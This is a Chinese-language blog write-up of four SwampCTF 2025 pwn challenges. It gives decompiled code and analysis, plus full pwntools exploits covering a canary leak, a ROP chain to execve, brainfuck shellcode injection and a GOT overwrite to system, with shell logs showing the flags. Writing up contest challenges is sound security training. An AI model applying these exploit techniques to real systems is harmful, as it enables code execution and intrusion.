SwampCTF2025-pwn
SwampCTF2025复现
pwn
Ohmybuffer

main函数中读取flag并将其输出到/dev/null,然后使用memset清除flag,在子进程实现了三个操作:注册、登录、退出。
reg
void __cdecl reg()
{
char buffer[16]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]
v1 = __readfsqword(0x28u);
write(1, "Username: ", 0xAuLL);
read(0, buffer, 0x2AuLL);
write(1, "Password: ", 0xAuLL);
read(0, buffer, 0x2AuLL);
write(1, "Sorry, registration isn't open right now!\n", 0x2AuLL);
}
实际功能是2字节的返回地址溢出,注意到返回地址在main中,意味着我们可以跳转到任意代码段。
login
void __cdecl login()
{
int len; // [rsp+Ch] [rbp-24h] BYREF
char buffer[16]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
write(1, "How long is your username: ", 0x1BuLL);
__isoc99_fscanf(stdin, "%d", &len);
write(1, "Username: ", 0xAuLL);
read(0, buffer, 0x10uLL);
write(1, "Sorry, we couldn't find the user: ", 0x22uLL);
write(1, buffer, len);
}
没有对长度进行任何检查,我们可以读出栈上所有数据,从而泄露canary和heap地址。
在子进程中,flag存在heap中

由于我们只能溢出两个字节,需要思考跳转到哪里才能实现目标。想到我们还可以控制rbp,尝试寻找相对于rbp加载地址的指令
很幸运,在login()中:
.text:000000000040139B 48 8D 45 E0 lea rax, [rbp+buffer]
.text:000000000040139F 48 89 C6 mov rsi, rax ; buf
.text:00000000004013A2 BF 01 00 00 00 mov edi, 1 ; fd
.text:00000000004013A7 E8 B4 FC FF FF call _write
将rbp改为flag地址+0x20,且由于之前的操作,rdx足够大以打印flag
攻击流程:
1.使用login()泄露大量栈数据
2.泄露canary和heap
3.修改rbp为heap+0x20+offset
4.修改返回地址为‘\x9b\x13’
5.win for flag!
exp
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
p = remote('chals.swampctf.com',40005)
def debug():
gdb.attach(p)
pause()
def reg(name,password):
p.sendlineafter('> ',b'1')
p.sendafter('Username: ',name)
p.sendafter('Password: ',password)
def login(len,name):
p.sendlineafter('> ',b'2')
p.sendlineafter('How long is your username: ',len)
p.sendlineafter('Username: ',name)
def logout():
p.sendlineafter('> ',b'3')
#泄露canary和heap地址
login(b'200',b'a')
leak_data = p.recv(200)
print(leak_data)
canary = u64(leak_data[0x3a:0x3a+8].ljust(8,b'\x00'))
heap = u64(leak_data[0x6a:0x6a+8].ljust(8,b'\x00'))
print(hex(canary))
print(hex(heap))
#构造payload,将rbp改为flag_addr+0x20,返回地址改为0x40139b
payload = b'a' * (0x20-8) + p64(canary) + p64(heap+ 0x1e0 +0x20) + b'\x9b\x13'
debug()
print(payload)
reg(payload,payload)
p.interactive()
GreetingasaService
题目描述:
A friend of mine set up a greeting as a service server. He gave me a core dump of it to play around with but won't give me source. Find anything useful?
第一次做coredump相关题目,ida打开很乱,尝试用gdb分析
$ gdb -q -core ./coredump_GAAS1
pwndbg> bt
#0 0x00000000004011a3 in ?? ()
#1 0x00007ffff7de8083 in ?? ()
#2 0x00007ffff7ffc620 in ?? ()
#3 0x00007fffffffde68 in ?? ()
#4 0x0000000100000000 in ?? ()
#5 0x00000000004011a3 in ?? ()
#6 0x0000000000401240 in ?? ()
#7 0xbdeebaa290c7ef1c in ?? ()
#8 0x0000000000401090 in ?? ()
#9 0x00007fffffffde60 in ?? ()
#10 0x0000000000000000 in ?? ()
函数在上述位置崩溃,注意到0x4011a3出现了两次,可能是递归调用或者栈溢出将返回地址覆盖为0x4011a3,重复执行,非法地址可能是栈溢出导致的。地址1可能是libc地址,如libc_start_main(),合理猜测0x4011a3为main()函数,反汇编0x4011a3
pwndbg> x/33i 0x4011a3
=> 0x4011a3: endbr64
0x4011a7: push rbp
0x4011a8: mov rbp,rsp
0x4011ab: sub rsp,0x10
0x4011af: mov rax,QWORD PTR [rip+0x2e9a] # 0x404050
0x4011b6: mov ecx,0x0
0x4011bb: mov edx,0x2
0x4011c0: mov esi,0x0
0x4011c5: mov rdi,rax
0x4011c8: call 0x401080
0x4011cd: mov rax,QWORD PTR [rip+0x2e6c] # 0x404040
0x4011d4: mov ecx,0x0
0x4011d9: mov edx,0x2
0x4011de: mov esi,0x0
0x4011e3: mov rdi,rax
0x4011e6: call 0x401080
0x4011eb: mov QWORD PTR [rbp-0xa],0x0
0x4011f3: mov WORD PTR [rbp-0x2],0x0
0x4011f9: lea rdi,[rip+0xe04] # 0x402004
0x401200: mov eax,0x0
0x401205: call 0x401060
0x40120a: lea rax,[rbp-0xa]
0x40120e: mov rdi,rax
0x401211: mov eax,0x0
0x401216: call 0x401070
0x40121b: lea rax,[rbp-0xa]
0x40121f: mov rsi,rax
0x401222: lea rdi,[rip+0xdee] # 0x402017
0x401229: mov eax,0x0
0x40122e: call 0x401060
0x401233: mov eax,0x0
0x401238: leave
0x401239: ret
一共5次call,两次0x401080,两次0x401060,一次0x401070
分析可得,函数0x401080可能是void func(long? a, int b, int c, int d);两次调用中,b=0、c=2、d=0,a如下
pwndbg> x/10gx 0x404050
0x404050: 0x00007ffff7fb0980 0x0000000000000000
0x404060: 0x0000000000000000 0x0000000000000000
0x404070: 0x0000000000000000 0x0000000000000000
0x404080: 0x0000000000000000 0x0000000000000000
0x404090: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x00007ffff7fb0980
0x7ffff7fb0980: 0x00000000fbad2088 0x0000000000000000
0x7ffff7fb0990: 0x0000000000000000 0x0000000000000000
0x7ffff7fb09a0: 0x0000000000000000 0x0000000000000000
0x7ffff7fb09b0: 0x0000000000000000 0x0000000000000000
0x7ffff7fb09c0: 0x0000000000000000 0x0000000000000000
fbad2088通常是FILE结构体的magic number,所以0x401080可能是stdin/std/out/stderr等函数,结合参数猜测是setvbuf:int setvbuf(FILE *stream, char *buf, int mode, size_t size)

结合远程交互,发现程序进行了两次输出和一次输入,推测0x401060为输出函数,0x401070为输入函数,在尝试读入时发现程序接受很长的输入也不会崩溃,遇到换行符停止,即gets函数,输出函数应为printf将我们的输入格式化输出
由此栈溢出漏洞,我们可以构造:syscall read(),输入‘/bin/sh’,syscall execve()
exp
from pwn import *
pop_rdi = 0x0000000000401194
pop_rsi = 0x0000000000401196
pop_rax = 0x0000000000401188
pop_rdx = 0x0000000000401198
syscall = 0x0000000000401190
data_addr = 0x404060
gets = 0x401070
p = remote("chals.swampctf.com", 40003)
payload = b'a' * 0xa + b'b' * 8 + p64(pop_rdi) + p64(data_addr) + p64(gets) + p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(data_addr + 16) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
binsh = p64(data_addr + 16) + p64(0) + b'/bin/sh\x00'
p.sendline(payload)
p.sendline(binsh)
p.interactive()
flag
[+] Opening connection to chals.swampctf.com on port 40003: Done
[*] Switching to interactive mode
What is your name?Hello, aaaaaaaaaabbbbbbbb\x94\x11@!
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ ls
flag.txt
run
$ cat flag.txt
swampCTF{t1m3_t0_s@y_g00dby3}
Tinybrain
题目描述:
Optimized for the minimum footprint... if you ignore the jump tables...
Note: bf should be called with a file. The remote runs a script that is not provided, of which makes a file from your input.
BrainFuck
brainfuck是一个小巧的编程语言,只有8条指令:
| 字符 | 含义 |
|---|---|
| > | 指针加一 |
| < | 指针减一 |
| + | 指针指向的字节的值加一 |
| - | 指针指向的字节的值减一 |
| . | 输出指针指向的单元内容(ASCII码) |
| , | 输入内容到指针指向的单元(数值) |
| [ | 如果指针指向的单元值为零,向后跳转到对应的]指令的指令处 |
| ] | 如果指针指向的单元值不为零,向前跳转到对应的[指令的指令处 |
尝试调试它
$ gdb --args bf payload
pwndbg> start
► 0x401000 lea r13, [0x403800] R13 => 0x403800 ◂— 0
0x401008 xor r14, r14 R14 => 0
0x40100b mov rdi, qword ptr [rsp + 0x10] RDI, [0x7fffffffdbe0] => 0x7fffffffde90 ◂— 0x64616f6c796170 /* 'payload' */
0x401010 mov eax, 2 EAX => 2
0x401015 xor esi, esi ESI => 0
0x401017 xor edx, edx EDX => 0
0x401019 syscall <SYS_open>
0x40101b mov r12, rax
0x40101e call 0x40102a <0x40102a>
可以看到,通过SYS_open打开文件payload,然后调用0x40102a,分析0x40102a
0x40102a inc r14 R14 => 2
0x40102d xor eax, eax EAX => 0
0x40102f mov rdi, r12 RDI => 3
0x401032 lea rsi, [rsp - 1] RSI => 0x7fffffffdbc7 ◂— 0x40102366
0x401037 mov byte ptr [rsi], 0 [0x7fffffffdbc7] => 0
0x40103a mov edx, 1 EDX => 1
0x40103f syscall <SYS_read>
► 0x401041 movzx eax, byte ptr [rsp - 1] EAX, [0x7fffffffdbc7] => 0x6c
0x401046 ret <0x401023>
↓
0x401023 jmp qword ptr [rax*8 + 0x402000] <0x40101e>
↓
0x40101e call 0x40102a <0x40102a>
逐字节读取文件放入eax中,用于ret之后的跳转表[rax*8 + 0x402000],其中大部分是nop,只有是><+-.,[]时会执行相关操作(即brainfuck的8条指令)
查看寄存器
*RAX 0x6c
RBX 0
RCX 0x401041 ◂— movzx eax, byte ptr [rsp - 1] /* 0x8348c3ff2444b60f */
RDX 1
RDI 3
RSI 0x7fffffffdbc7 ◂— 0x4010236c
R8 0
R9 0
R10 0
R11 0x346
R12 3
R13 0x403800 ◂— 0
R14 2
R15 0
RBP 0
RSP 0x7fffffffdbc8 —▸ 0x401023 ◂— jmp qword ptr [rax*8 + 0x402000] /* 0x4900402000c524ff */
*RIP 0x401046 ◂— ret /* 0x4528412ce88348c3 */
R13指向程序内存,发现程序内存可读可写可执行
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x401000 0x404000 rwxp 3000 1000 /home/yui/STUDY/pwn/ctf/swampctf/Tinybrain/bf
0x7ffff7ff9000 0x7ffff7ffd000 r--p 4000 0 [vvar]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]
通过brainfuck指令将shellcode写入程序内存,然后修改0x402000('\x00'对应的跳转表)为shellcode首地址,在最后加上'\x00'和q,即可执行我们想要的shellcode
exp
#!/usr/bin/env python3
from pwn import *
context(arch='amd64', os='linux')
# 标准execve("/bin/sh") shellcode (27字节)
shellcode = asm(shellcraft.sh())
# Brainfuck指令定义
ptr_inc = b">"
ptr_dec = b"<"
data_inc = b"+"
data_dec = b"-"
payload = b""
# 阶段1: 写入shellcode到内存(从0x403800开始)
for byte in shellcode:
# 用'+'递增到目标字节值
payload += data_inc * byte
# 移动到下一个内存单元
payload += ptr_inc
# 阶段2: 移动指针到跳转表位置(0x402000)
offset = 0x403800 - 0x402000
payload += ptr_dec * (offset + len(shellcode))
# 阶段3: 修改跳转表指针(假设需要修改为0x403800)
for i in range(0xac):
payload += data_dec
payload += ptr_inc
for i in range(0x28):
payload += data_inc
# 阶段4: 触发执行(根据目标程序可能需要特殊字符)
payload += b"\x00"
payload += b"q"
with open("payload", "wb") as f:
f.write(payload)
target = remote("chals.swampctf.com", 41414)
target.sendline(payload)
target.interactive()
flag
[+] Opening connection to chals.swampctf.com on port 41414: Done
[*] Switching to interactive mode
Insert brainfuck instructions (q to finish):
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ ls
bf
flag.txt
run
$ cat flag.txt
swampCTF{1_W4s_re4L1y_Pr0ud_of_th15_b1N}
Notecard
题目描述
I wrote a service that allows students to create and retrieve their own notecards! What do you think?
菜单题,先看main()函数
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
_QWORD *v3; // [rsp+18h] [rbp-18h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
printf("Welcome to Note! Your one stop shop for all notecard needs!\n");
v3 = alloc();
menu((__int64)v3);
}
alloc()创建几个chunk,然后将其指针存入数组中
_QWORD *alloc()
{
__int128 v0; // xmm0
_QWORD *v2; // [rsp+10h] [rbp-40h]
int i; // [rsp+1Ch] [rbp-34h]
__int128 v4[2]; // [rsp+20h] [rbp-30h]
__int64 v5; // [rsp+40h] [rbp-10h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v6 = __readfsqword(0x28u);
for ( i = 0; i < 5; ++i )
*((_QWORD *)v4 + i) = malloc(0x28uLL);
v2 = malloc(0x28uLL);
v2[4] = v5;
v0 = v4[0];
*((_OWORD *)v2 + 1) = v4[1];
*(_OWORD *)v2 = v0;
return v2;
}
menu()
void __fastcall __noreturn menu(__int64 a1)
{
char v1; // [rsp+3Bh] [rbp-45h] BYREF
int v2; // [rsp+3Ch] [rbp-44h] BYREF
char s[24]; // [rsp+40h] [rbp-40h] BYREF
void (__fastcall __noreturn *v4)(); // [rsp+58h] [rbp-28h]
unsigned __int64 (__fastcall *v5)(__int64); // [rsp+60h] [rbp-20h]
unsigned __int64 (__fastcall *v6)(__int64); // [rsp+68h] [rbp-18h]
__int64 v7; // [rsp+78h] [rbp-8h]
v7 = a1;
memset(s, 0, 0x30uLL);
v1 = 121;
while ( v1 != 110 )
{
puts("Please enter your name:");
gets(s);
printf("Your name is ");
puts(s);
printf("\nChange it? (y/n)?\n");
__isoc99_scanf("%c", &v1);
__isoc99_scanf("%c", &unk_4079);
}
v4 = sub_1270;
v5 = sub_1290;
v6 = sub_1340;
printf("Hello %s!\n", s);
while ( 1 )
{
printf("0 - exit\n1 - read\n2 - write\n> \n");
__isoc99_scanf("%d", &v2);
__isoc99_scanf("%c", &unk_4079);
v2 &= 3u;
if ( v2 )
{
if ( v2 == 1 )
{
v5(v7);
}
else if ( v2 == 2 )
{
v6(v7);
}
}
else
{
printf("Goodbye ");
puts(s);
((void (__fastcall *)(_QWORD))v4)(0LL);
}
}
}
程序使用gets()读取name,可以溢出返回地址或泄露栈上数据
read和write均未对负数索引进行检查
unsigned __int64 __fastcall read_(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Notecard number (0 - 4): ");
__isoc99_scanf("%d", &v2);
__isoc99_scanf("%c", &unk_4079);
if ( v2 <= 4 )
puts(*(const char **)(a1 + 8LL * v2));
else
printf("You are using the free version of Note and only have 5 note cards!\n");
return __readfsqword(0x28u);
}
unsigned __int64 __fastcall write_(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Notecard number (0 - 4): ");
__isoc99_scanf("%d", &v2);
__isoc99_scanf("%c", &unk_4079);
if ( v2 <= 4 )
read(0, *(void **)(a1 + 8LL * v2), 0x28uLL);
else
printf("You are using the free version of Note and only have 5 note cards!\n");
return __readfsqword(0x28u);
}
思路是向note4写入puts_got,通过read(-6)泄露puts_got从而泄露libc

0x5555555553b1 xor edi, edi EDI => 0
0x5555555553b3 mov rax, qword ptr [rbp - 0x18] RAX, [0x7fffffffd9e8] => 0x555555559390 —▸ 0x5555555592a0 ◂— 0
0x5555555553b7 movsxd rcx, dword ptr [rbp - 0xc] RCX, [0x7fffffffd9f4] => 4
► 0x5555555553bb mov rax, qword ptr [rax + rcx*8] RAX, [0x5555555593b0] => 0x555555559360 ◂— 0
0x5555555553bf mov rsi, rax RSI => 0x555555559360 ◂— 0
0x5555555553c2 mov edx, 0x28 EDX => 0x28
0x5555555553c7 call read@plt <read@plt>
rcx为-6恰好使rsi指向0x555555559360,即写入的puts_got
之后修改puts_got为system地址,在函数退出时执行system(name)
else
{
printf("Goodbye ");
puts(name);
((void (__fastcall *)(_QWORD))v4)(0LL);
}
只需要将输入改为cat flag*;...即可执行system(cat flag * ;)输出flag
流程:
1.栈溢出泄露.test段
2.将puts_got写入note4
3.泄露puts_got
4.使用在线网站查找使用的libc版本
5.将system_addr覆盖puts_got
6.exit()从而调用system(cat flag * 😉
exp
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
#p = process("./notecard")
p = remote("chals.swampctf.com",40002)
def debug():
gdb.attach(p)
pause()
def read(index):
p.sendlineafter("0 - exit\n1 - read\n2 - write\n> \n", b"1")
p.recvuntil("Notecard number (0 - 4): ")
p.sendline(str(index))
def write(index, data):
p.sendlineafter("0 - exit\n1 - read\n2 - write\n> \n", b"2")
p.recvuntil("Notecard number (0 - 4): ")
p.sendline(str(index))
p.sendline(data)
def exit1():
p.sendlineafter("0 - exit\n1 - read\n2 - write\n> \n", b"0")
p.recvuntil(b"name:")
p.sendline(b"cat flag*;" + b"a" * 0x23)
print(p.recv(0x48+8))
p.recvline()
#debug()
time.sleep(1)
p.sendline(b"n")
p.recvline()
p.recvline()
leak = p.recvline()[30:-2] + b"\x00\x00"
print(hex(u64(leak)))
base = u64(leak) - 0x1270
print(hex(base))
put_got = base + 0x4018
write(4, p64(put_got))
read(-6)
p.sendline(p64(put_got))
#debug()
puts_leak = p.recvline()[:-1] + b"\x00\x00"
print(puts_leak)
print(hex(u64(puts_leak)))
system_addr = u64(puts_leak) - 0x2f490
print(hex(system_addr))
write(-6, p64(system_addr))
p.sendline(b"0")
p.interactive()
本文来自博客园,作者:miffya,转载请注明原文链接:https://www.cnblogs.com/miffya/p/18806538

浙公网安备 33010602011771号